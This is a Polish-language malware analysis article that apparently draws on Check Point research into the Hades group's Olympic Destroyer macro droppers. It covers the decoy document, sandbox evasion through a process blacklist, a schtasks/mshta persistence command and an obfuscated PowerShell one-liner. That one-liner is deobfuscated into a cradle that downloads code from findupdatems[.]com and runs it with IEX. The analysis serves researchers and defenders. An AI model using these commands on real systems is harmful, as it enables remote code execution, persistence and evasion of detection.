Analiza wirusa, który zainfekował infrastrukturę sieciową podczas Zimowych Igrzysk Olimpijskich 2018

29 listopada, 2018
Analiza techniczna wirusa

W ciągu ostatnich kilku tygodni analitycy Check Pointa zauważyli nową aktywność grupy Hades. Grupa ta jest odpowiedzialna za cyberatak na infrastrukturę podczas Zimowych Igrzysk Olimpijskich 2018 w Korei Południowej. Atak zakłócił ceremonię otwarcia, ale nie spowodował dużej awarii. W ciągu 12 godzin obsługa techniczna przywróciła do działa środowisko z kopii zapasowej. To wystarczyło jednak, aby incydent pojawił się w wielu nagłówkach gazet. Próbki, które zostały znalezione przez Check Point, wskazują, że grupa jest świadoma badań przeprowadzanych wokół jej działań. W związku z tym stara się, aby różne organy badawcze miały trudności z identyfikacją i przypisaniem autorstwa poszczególnych ataków. W badaniach eksperci porównali i przeanalizowali nowo odkryte próbki i IoC wraz z próbkami wcześniej obserwowanymi przez innych badaczy. Analiza wirusa pozwoliła stworzyć lepszy, bardziej kompletny i aktualny obraz głównej strategii, technik i procedur tej grupy hakerów.

Początek

Podczas badań odkryto szkodliwe oprogramowanie z możliwością rozprzestrzeniania, które później nazwano Olimpijskim Niszczycielem. Przeprowadzono wiele prób określenia jego autorstwa, ale grupa hakerska, która spowodowała te ataki, okazała się świetnie maskować swoje działania i włączyła wiele fałszywych flag do złośliwego oprogramowania, które prowokowały niesłuszne domniemania. Kilka miesięcy później Kaspersky Lab był w stanie zidentyfikować początkowy wektor ataku: e-maile typu spear-phishing ze złośliwymi dokumentami to był pierwszy krok do infiltracji sieci firm. Połączenie szkodliwych dokumentów z grupą Hades umożliwiło wyśledzenie działań poprzez szukanie podobnych dokumentów. Grupa hakerów wzbudziła także zainteresowanie poza granicami Korei Południowej, ponieważ swój atak wycelowała też w wiele organizacji z reszty świata.

Dwie pierwsze próbki dropperów zostały opublikowane przez McAfee w styczniu tego roku przed Igrzyskami Olimpijskimi:

c388b693d10e2b84af52ab2c29eb9328e47c3c16
8ad0a56e3db1e2cd730031bdcae2dbba3f7aba9c

Wykorzystywały one dwie różne techniki: pliki osadzone i złośliwe makra, ale grupie Hades przypisywano tylko próbki ze złośliwymi makrami.

Grupa Hades jest znana z wykorzystywania publicznie dostępnych narzędzi w celach wywiadowczych i aktywności po dokonaniu włamania. Wielokrotnie wspominaliśmy, że jeżeli nie wiesz w jaki sposób obejść zabezpieczenia urządzeń lub systemów, po prostu zajrzyj na GitHub. Jest tam dosłownie wszystko. Sposób działania Hadesu sprawia, że analiza pierwszego stadium ataku jest szczególnie ważna, gdyż stanowi jedyną metodę odróżnienia działań tej grupy od innych i śledzenia jej aktywności na całym świecie.

Ewolucja makr

W celu zademonstrowania, w jaki sposób makra grupy Hades ewoluowały w czasie, użyto narzędzia Vba2Graph do szybkiej analizy złośliwych dokumentów. Na infografice przedstawionej poniżej, można zauważyć, które funkcjonalności zostały dodane w późniejszym czasie i jak złożoność makr rosła wraz z upływem czasu.

Metody kodowania łańcuchów znaków, tak jak i inne częste wskaźniki, które wypiszemy później, pokazują jasno, że większość dokumentów została przygotowana przez jednego twórcę, za pomocą tego samego zestawu narzędzi obfuskujących, które ewoluowały z miesiąca na miesiąc.

Stara metoda infekcji: analiza wirusa

Z wyjątkiem najnowszych dropperów, wszystkie próbki posiadały podobne funkcjonalności ujawniane w pierwszym etapie uruchamiania:

Analiza wirusa droppera

Więcej informacji o wcześniejszych kampaniach Hadesa można znaleźć w raporcie firmy Kaspersky.

Nowa odmiana droppera

Ostatnia próbka pokazuje odstępstwo od zwykłej ścieżki ewolucyjnej, którą podążały makra grupy Hades i reprezentuje zupełnie nowy wariant. Próbka została po raz pierwszy wgrana na VirusTotal 12.10.2018 z Ukrainy. Charakteryzuje się podobnym kodowaniem znaków co wcześniejsze próbki z serii dropperów grupy Hades. Pomimo to, dodano nowe funkcjonalności, takie jak przeciwdziałanie analizie kodu oraz opóźnione wykonywanie, które dotychczas wykorzystywano dopiero w kolejnych fazach ataku.

Nowe funkcjonalności okazały się skuteczne, gdyż popularne sandboxy online nie wykrywały żadnych uruchamianych procesów czy aktywności online, a dla części z nich dropper był klasyfikowany jako zupełnie bezpieczny.

Dropper2

Nowa metoda infekcji

Dropper 3

1. Plik .DOC jako pułapka

Początkowo użytkownikowi wyświetla się pusta strona. Gdy makra zostają włączone, zmieniają biały tekst na czarny i pojawia się treść.

Złośliwy DOC

Treść dokumentu została pobrana z prawdziwego dokumentu dostępnego online.

2. Utrudnianie analizy

Używając WMI, makro iteruje po uruchomionych procesach:

Dropper 5

Zwrócone nazwy procesów są następnie porównywane z bazą popularnych narzędzi do analizy. Makro upewnia się również, czy działa w tle przynajmniej 40 procesów. Liczenie procesów skutecznie przeciwdziała wykryciu w sandboxach i środowiskach analitycznych, na których zwykle uruchomione jest mniej programów.

Lista narzędzi do analizy, które wyszukuje wirus została wyciągnięta z etapu uruchamiania skryptu PS, starego wariantu złośliwego oprogramowania.

HaCKER,MalzILlA,pRocExP,WiREShARK,HxD,PowERsheLl_iSE,idA,Olly,fiDDLEr,mALwAre,VmtoOLsd,SWingBoX,vboXTrAY,secunia,hijack,VmtoOlsd',Vbox,vMWaRE,VXsTReaM,AUtOIt,vmToOls,TcpVIeW,WiREShARK,prOCEss expLorer,VIsuAl bASiC,fiDDLEr

Dalej wykonywane są następujące czynności:

3. Zapisanie pliku .HTA na dysku

Dropper zapisuje odszyfrowany plik .HTA do katalogu:

%APPDATA%WPFT532.hta

4-5. Zaplanowanie zadania

Skrypt tworzy zadanie, które uruchamia plik .HTA rano:

schtasks /Create /F /SC DAILY /ST "10:20" /TN "DriveCloudTaskCoreCheck" /TR "mshta C:\Users\[user]\AppData\Roaming\WPFT532.hta

Opis parametrów:

  • /F – tworzy zadanie ignorując ostrzeżenia, nawet jeżeli wskazane zadanie już istnieje
  • /SC – planuje codzienne wykonanie zadania
  • /ST – czas rozpoczęcia
  • /TN – nazwa zadania

6. Uruchomienie pliku .HTA

Plik .HTA używa VBScript do odszyfrowania skryptu wiersza poleceń używanego w kolejnym kroku, wykorzystując te same techniki i narzędzia deszyfrujące co z etapu makra.

7-9. Pobranie i wykonanie skryptu Powershell

Kod w HTA wykonuje następującą obfuskowaną komendę w linii poleceń Powershell:

c:\WiNDOws\sYsTEM32\Cmd.eXE /c "Set AYW= -jOIn[CHAr[]] (40 ,39 , 40 , 78,39, 43,39 , 101, 119, 45, 79,39, 43 ,39 , 98,106 , 101 ,99 ,116 , 32 , 78,101 , 116 , 46 ,87, 39 , 43, 39 ,101 , 98 , 99 , 108, 105 ,101 ,110, 116 , 41,39 , 43 ,39,46,39,43 ,39 ,100 , 111,119 , 110 ,108 , 111 ,39,43 ,39, 97 , 100,115 ,116, 114,105 , 110 , 103,40 ,72 ,108, 39,43,39, 106,104,116 , 39 , 43 , 39 , 116 ,112, 58 , 39, 43,39 , 47, 47, 102 ,105, 110 , 100 , 117, 112 , 100, 97 ,39 , 43,39 , 116 ,101,39 ,43,39 , 109, 115 ,46,99 ,111, 109 , 47,99 , 104,39, 43,39, 101, 39 , 43 , 39,99 ,107 ,47,105 ,110,39 ,43 , 39 , 100 , 101 ,120,72,108, 106, 41,39 ,43 ,39, 52, 106 , 39,43,39 , 122,73 , 69,88, 39, 41 ,46 ,82 ,101, 112, 76 , 97,67,101, 40 ,40 ,91 , 99, 104,65 ,114 ,93,55, 50,43 ,91, 99, 104,65 , 114, 93,49,48,56, 43,91 ,99, 104,65 ,114,93,49, 48 ,54 , 41, 44,91,83,116 , 114, 73 ,110,103, 93 ,91 ,99 ,104,65, 114 ,93,51, 57 , 41, 46 ,82,101,112,76, 97, 67 ,101, 40 , 40,91,99, 104, 65, 114, 93, 53 ,50, 43 ,91 , 99 ,104, 65, 114 , 93,49,48,54, 43, 91 ,99, 104, 65,114,93 , 49 , 50 ,50,41,44, 39, 124 , 39 ,41 , 124 , 32, 46 ,32 , 40 , 32 ,36, 69, 110 ,86 , 58,67 , 79, 109 , 83, 80, 101 , 99 ,91,52 , 44 ,50, 52 ,44 ,50,53, 93 , 45 , 106,79 ,73 ,110 ,39 , 39, 41)^| . ( $pshOme[21]+$PSHoMe[30]+'x') &&Set gnPq=ECHO inVOKe-ExPRessiON (get-ItEM eNV:AYw).valUe ^| pOWERsHElL -noPRoFI -EXEcuTiONpOlI BYPASS -noNi -NoeXi -WindoWStYlE HIdDen -&& c:\WiNDOws\sYsTEM32\Cmd.eXE /c %gNpq%"

Pierwszy etap deobfuskacji:

('(N'+'ew-O'+'bject Net.W'+'ebclient)'+'.'+'downlo'+'adstring(Hl'+'jht'+'tp:'+'//findupda'+'te'+'ms.com/ch'+'e'+'ck/in'+'dexHlj)'+'4j'+'zIEX').RepLaCe(([chAr]72+[chAr]108+
[chAr]106),[StrIng][chAr]39).RepLaCe(([chAr]52+[chAr]106+[chAr]122),'|')

Kolejny etap:

(New-Object Net.Webclient).downloadstring('<http://findupdatems>[.]com/check/index')|IEX

Pobrany łańcuch znaków jest kolejnym poleceniem Powershell do wykonania. Podczas analizy eksperci nie byli w stanie pobrać paczki wykorzystywanej w kolejnym etapie ataku.

Podobieństwa i metadane

Pliki .doc grupy Hades i obfuskatory makr mają unikalne właściwości, które odróżniają je od innych dropperów. Właściwości te są widoczne w aktualnych i starych wariantach makr. Mimo że nie jest to bardzo charakterystyczne, większość dropperów jest podpisana następująco:

James, john albo AV.

Funkcja zmieniająca wygląd dokumentu

Większość droperów wykorzystuje dwie metody, żeby zmienić wygląd dokumentu po włączeniu makr:

Dropper 7Dropper 8

Uruchomienie wywołania

Żeby uruchomić wywołanie, grupa Hades nie wykorzystuje popularnych poleceń takich jak AutoOpen, w celu uniknięcia wykrycia przez analizę statyczną czy analizę przez emulatory. Zamiast tego używa mniej znanej metody wykorzystującej obiekty ActiveX w Wordzie. Więcej informacji o tego typu wyzwalaczach można znaleźć tutaj. A to już część wyzwalaczy używanych w różnych wersjach:

  • MultiPage1_Layout
  • Frame1_Layout
  • SystemMonitor1_GotFocus
  • Image1_MouseMove
  • ImageCombo21_Change

Infrastruktura sieci przestępców

Częstą praktyką dropperów Hades jest stosowanie skompromitowanych serwerów jako C2 w drugim etapie. Pomimo tego, że nie wiadomo zbyt wiele o infrastrukturze sieci Hades, niektóre droppery łączące się z ich serwerami C2 uwidoczniły błędy serwerów. Owe błędy wskazują na to, że serwery te są używane jedynie jako proxy, a żądania były przekazywane do kolejnego serwera, który zawierał backend Empire.

Dropper 6

Podsumowanie

Nie wygląda na to, żeby grupa Hades zwalniała tempo w rozwijaniu szkodliwego oprogramowania. Ostatnia aktywność pokazała nowy, wcześniej nie zaobserwowany wariant droppera, który wprowadził zmiany w makrach zwykle używanych w pierwszym etapie ataku. Za każdym razem, gdy Hades wprowadzał nową wersję droppera, jedynie mała liczba dostawców antywirusów była w stanie wykryć je jako złośliwe oprogramowanie. Sugeruje to, że większa część aktywności grupy Hades pozostaje niezauważona. Szczegółowa analiza znajduje się na blogu Check Point.

Do ochrony przed podobnymi próbkami szkodliwego oprogramowania polecamy nasz poradnik podnoszący bezpieczeństwa komputerów,, w którym krok po kroku wyjaśniamy znaczenie monitorowania interpreterów systemowych, takich jak Powershell.

IoC dropperów dla badaczy:

e160ca75a0e8c4bc9177f412b09e7a29
7f327ae9b70d6a2bd48e20c897f7f726
e3487e2725f8c79d04ffda6de9612e25
ac85b1fff1fe43ddad28bf1c4ce021c5
cd15a7c3cb1725dc9d21160c26ab9c2e
Picture of Adrian Ścibor

Adrian Ścibor

W ramach działań związanych z cyberbezpieczeństwem odpowiada w AVLab za przeprowadzanie testów rozwiązań ochronnych przed zagrożeniami. Opracowuje strategie oraz narzędzia, które pomagają w ochronie danych i systemów przed cyberatakami. Współuczestnik międzynarodowej grupy non-profit AMTSO, która zrzesza ekspertów IT.
Picture of Adrian Ścibor

Adrian Ścibor

W ramach działań związanych z cyberbezpieczeństwem odpowiada w AVLab za przeprowadzanie testów rozwiązań ochronnych przed zagrożeniami. Opracowuje strategie oraz narzędzia, które pomagają w ochronie danych i systemów przed cyberatakami. Współuczestnik międzynarodowej grupy non-profit AMTSO, która zrzesza ekspertów IT.

PODZIEL SIĘ:

guest
0 komentarzy
Inline Feedbacks
View all comments

Wyrażam zgodę na przesłanie oferty drogą telefoniczną przez IT Partners security sp. z o.o. z siedzibą Katowicach ul.Padereskiego 35 na podany przeze mnie adres e-mail zgodnie z ustawą z dnia 10 maja 2018 roku o ochronie danych osobowych (Dz. Ustaw z 2018, poz. 1000) oraz zgodnie z Rozporządzeniem Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (RODO).

Wyrażam zgodę na przesłanie oferty drogą mailową przez IT Partners security sp. z o.o. z siedzibą Katowicach ul.Padereskiego 35 na podany przeze mnie adres e-mail zgodnie z ustawą z dnia 10 maja 2018 roku o ochronie danych osobowych (Dz. Ustaw z 2018, poz. 1000) oraz zgodnie z Rozporządzeniem Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (RODO).

[ninja_tables id=”27481″]